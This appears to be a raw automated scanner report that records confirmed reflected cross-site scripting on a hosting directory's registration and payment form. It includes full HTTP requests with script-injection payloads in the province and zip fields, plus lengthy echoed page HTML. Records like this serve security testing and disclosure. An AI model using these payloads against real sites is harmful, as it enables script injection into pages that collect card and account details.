alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='D77F49075529D35032E332470341E714C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='D77F49075529D3507B93F9490E0AF5A86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='D77F49075529D350313D89A0604158E7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D77F49075529D350B8A8B7771C8BE6F0C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='D77F49075529D3504C643E6B1A4AF9BB6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='D77F49075529D350D4CA3D77D08B8DB2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='D77F49075529D350A637657FDF26117AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='D77F49075529D350CC1C2C4AAB509CFE6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='D77F49075529D3507F8FC110EA852CCAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='D77F49075529D3500A04851933566E3F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='D77F49075529D35034B69F766B886F39C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='D77F49075529D350529C593463646627C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='D77F49075529D35046C5CC3326E8BCB8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D77F49075529D350833325D1986C26C3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='D77F49075529D3501C943C03F0B30517C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='D77F49075529D350CE8C6B1C422943E5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='D77F49075529D35074544B588724CAD16F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='D77F49075529D350B4142541BC6584B26F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='D77F49075529D35005FF231514E6EE556F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST '"--></style></script><script>alert(0x001F55)</script>
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 534
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F55)%3c%2fscript%3e&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:22:19 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='D77F49075529D350861283D16AC620B6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='D77F49075529D3506BD9D6AE648EBD286F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='D77F49075529D35049FB77B1E18A73BAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D77F49075529D35087A019402FB1DBADC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='D77F49075529D350A9F4A07E74CDA1E06F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='D77F49075529D3509BBF7DB490282A16C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='D77F49075529D3506B6AF70CCF240354C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='D77F49075529D35007FB19841CDA103B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='D77F49075529D35007F7589504D5CC81C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='D77F49075529D350EE1C6AC5FBE85C846F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='D77F49075529D350B2215EE02B566BA8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='D77F49075529D350CF7FB1A974B573CDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='D77F49075529D350AB6F08E11D96523EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D77F49075529D350BDDF8C71435DC998C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='D77F49075529D3509F6B32299F96F8C4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='D77F49075529D3501B565D6B7322A5ACC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='D77F49075529D3503335DED53E26F4056F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='D77F49075529D3507FAB24429ABB85AA6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='D77F49075529D350904FA4CAED95772F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST '"--></style></script><script>alert(0x001F56)</script>
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 534
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F56)%3c%2fscript%3e&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:22:27 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if 